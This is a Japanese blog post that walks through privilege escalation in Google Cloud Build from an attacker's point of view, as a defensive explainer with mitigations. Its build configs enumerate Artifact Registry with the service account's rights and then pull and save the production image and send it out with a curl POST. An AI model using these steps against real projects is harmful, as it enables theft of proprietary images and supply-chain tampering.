この記事は、Google Cloud Champion Innovators Advent Calendar 2023 の22日目の記事です。

概要

Cloud Build を介した権限昇格は、複数のセキュリティベンダーがブログなどで警鐘を鳴らしているものになります。
この仕組みを悪用して、重要データの搾取やサービスの改ざんが比較的簡単に行えてしまいます。

自分自身が調べた限りでは、英語の記事しかなく、読んで理解するにはある程度の事前知識が求められるようなものしか見つからなかったため、日本語で少し噛み砕いた解説を行ってみたいと思います。

解説

今回の環境

※ 実際には、Cloud Build の実行環境は GCE として可視化はされないですが、ホストが稼働することをイメージしやすいように GCE アイコンで表しています

Cloud Build による CI/CD パイプラインを組んでいます。
開発者は以下のようなファイル群を用いて、コードの変更や Docker のチューニング後、gcloud builds submit にてイメージのビルド&更新を行います。

├── cloudbuild.yaml
├── Dockerfile
└── src
├── go.mod
├── go.sum
├── main.go

そのため、開発者である dev-a には、以下の IAM Role を付与しています。まぁまぁ最小権限に抑えている方と見受けられます。

  • Cloud Build Editor
  • Cloud Build Viewer
  • カスタムロール(serviceusage.services.use, storage.buckets.get, storage.buckets.list, storage.objects.create, storage.objects.get)

その場合、CloudBuild の Config ファイルはこんな感じだとします。

$ more cloudbuild.yaml
steps:

- name: 'gcr.io/cloud-builders/docker'
script: |
docker build -t us-central1-docker.pkg.dev///:latest .
automapSubstitutions: true

images:
- 'us-central1-docker.pkg.dev///:latest'
logsBucket: 'gs://-build-logs'

結構、シンプルで一般的なものだと思います。

なお、今回のお話では余談になりますが、Cloud Build の実行ログは標準ではユーザーの GCS バケットではなく、Google Cloud 側に出力されます。そこに出力するには、プロジェクト全体の Viewer or Editor という広範囲のロールが必要になります。
個人的には、上記の Config のようにユーザーのバケットを指定した方がいいかと思います。

今回、この dev-a さんのアクセス権が何かしらで漏洩してしまったとして、そこからどのようなことが行われるのかを、攻撃者目線で追ってみます。

攻撃をシミュレートしてみる

攻撃のメカニズム

Cloud Build では、submit 要求を受けて、マネージドな実行環境の上で、ユーザーが定義したプロセスを実行してくれます。
Cloud Build の実行環境には、gcloud や python などのランタイムがインストールされているため、結構、色々なことができます。その際、submit を行ったユーザーの権限ではなく、サービスアカウントのロールにて動きます。
これによって、自動テストなど柔軟に CI/CD パイプラインを組むことができるのですが、今回はこの点を悪用します。

攻撃の構成イメージはこんな感じです。

リポジトリの一覧を取得

今一度、先に記載した付与しているロールを確認ください。
dev-a さんには、Artifact の一覧権限は付けていないので、CLI を叩いてもエラーになります。

$ gcloud artifacts repositories list
ERROR: (gcloud.artifacts.repositories.list) User [dev-a@example.com] does not have permission to access projects instance [] (or it may not exist): Permission 'artifactregistry.locations.list' denied on resource '//cloudresourcemanager.googleapis.com/projects/' (or it may not exist).
- '@type': type.googleapis.com/google.rpc.ErrorInfo
domain: cloudresourcemanager.googleapis.com
metadata:
permission: artifactregistry.locations.list
resource: projects/
reason: IAM_PERMISSION_DENIED

このエラーは想定どおりです。

今度は、同じユーザー(DevA)にて以下のような Cloud Build の step を実施してみます。

steps:
- name: 'gcr.io/cloud-builders/gcloud'
args: ['artifacts', 'repositories', 'list']
$ gcloud builds submit --region=us-central1 --no-source --config cloudbuild.yaml
~
Step #1:
Step #1: ARTIFACT_REGISTRY
Step #1: REPOSITORY FORMAT MODE DESCRIPTION LOCATION LABELS ENCRYPTION CREATE_TIME UPDATE_TIME SIZE (MB)
Step #1: prd-image DOCKER STANDARD_REPOSITORY マル秘情報含む us-central1 Google-managed key 2022-11-22T13:44:50 2023-12-16T06:01:29 360.955
Step #1: dev-image DOCKER STANDARD_REPOSITORY 開発環境 northamerica-northeast2 Google-managed key 2023-12-16T08:37:36 2023-12-16T08:37:36 0
Finished Step #1
PUSH
DONE
------------------------------------------------------------------------------------------------------------------------
~

なんと、取れちゃいました!

一見、「だからなんなんだ?」と思われるかもですが、リスト情報というのは、攻撃者には攻撃が捗る超重要情報です。

ここからどんどんほじくって行きます。

リポジトリの発見とダウンロード

先のステップによって、Docker のイメージが格納されていることが分かりました。
今度は、イメージやタグの一覧をとってみます。
同じような手順で引っ張ってくることが確認できました。

- name: 'gcr.io/cloud-builders/gcloud'
args: ['artifacts', 'docker', 'images', 'list',
'us-central1-docker.pkg.dev//']

- name: 'gcr.io/cloud-builders/gcloud'
args: ['artifacts', 'docker', 'tags', 'list',
'us-central1-docker.pkg.dev//']
~
Starting Step #2
Step #2: Already have image (with digest): gcr.io/cloud-builders/gcloud
Step #2: Listing items under project , location us-central1, repository .
Step #2:
Step #2: IMAGE DIGEST CREATE_TIME UPDATE_TIME
Step #2: us-central1-docker.pkg.dev/// sha256:021a9184b33120f082dbb746bc83cad80f4daba4b687d3012353a6f7c99b38dd 2022-12-08T10:03:40 2022-12-08T10:03:40
Step #2: us-central1-docker.pkg.dev/// sha256:163b1b36106279d4ac832e49d85f02202bf4b5c9f68aa8219c52baf0ef89358b 2022-12-08T14:06:41 2022-12-08T14:06:41
Step #2: us-central1-docker.pkg.dev/// sha256:1a8164106e6f5fa62a46c3b4867ee3e680d520e05d0b4b9ab5c2d7d530d441f5 2022-12-08T08:54:22 2022-12-08T08:54:22
~
Finished Step #2
Starting Step #3
Step #3: Already have image (with digest): gcr.io/cloud-builders/gcloud
Step #3: Listing items under project , location us-central1, repository .
Step #3:
Step #3: TAG IMAGE DIGEST
Step #3: latest us-central1-docker.pkg.dev/// sha256:86de3e49be6cec89c91e500d60ffc8e99f219c4a7a5b6344582b4a003ef945b8
Finished Step #3
~

最新版と思われる latest タグの付いたイメージの存在を確認できました。

では、これをダウンロードしてみます。

steps:
- name: 'gcr.io/cloud-builders/docker'
args: ['pull', 'us-central1-docker.pkg.dev///:latest']

- name: 'gcr.io/cloud-builders/docker'
args: ['save', 'us-central1-docker.pkg.dev///:latest', '-o', 'image.tar']

- name: 'gcr.io/cloud-builders/curl'
args: ['-X', 'POST', '-H', 'filename:image.tar', '--data-binary', '@image.tar', '']

ここまで出来れば、攻撃者としては大成功です。
自分自身の環境でコンテナを起動し、中身のソースコードを除いたり、データを搾取するようにプログラムを改ざんすることもできます。
最新のイメージで環境を自動的に更新するようなパイプラインを組まれていれば、本番環境にデプロイすることもできます。

まとめ

Cloud Build のサービス アカウントに付与されているデフォルトの権限には、結構なものが付いています。今回紹介した手順は、この点を突いたものになります。

以前は、もっと恐ろしいことに監査ログの参照権限も持っていたようです。
とくにSetIamPolicy のログには、その時に変更した対象のIAM Userなどに関するものだけでなく、プロジェクト内の情報が見えてしまいます。この情報は非常に漏洩した場合のリスクが高いので、デフォルト権限から外してもらえてよかったです。

クラウドに不慣れな開発ベンダーに Cloud Build の権限を付与することも考えられるので、アクセス情報の適切な管理の説明や、3rd Party ツールも活用した監査ログのモニタリングも非常に重要です。

他には、Vulnerability scanning の活用や、不要なアウトバウンド通信の抑止・モニタリングも有効かもしれません。

とくに本件のセキュリティ対策は一筋縄ではいかないように思いますが、最小権限の原則の徹底や不要なアカウントの棚卸しなど、基本的なところをしっかりと守ることも重要です。

なお、今回お話しした内容によって、Cloud Build が脆弱性のある危険なサービスと取られたのであれば、それは伝えたかった趣旨とは外れています。
同じような環境を自分で用意した場合、アクセス権の付与はより複雑になり、より大きなリスクを発生させる可能性も高いです。

正しく活用し、安全なクラウドライフを!

参考

Bad.Build: A Critical Privilege Escalation Design Flaw in Google Cloud Build Enables a Supply Chain Attack

Working-As-Intended: RCE to IAM Privilege Escalation in GCP Cloud Build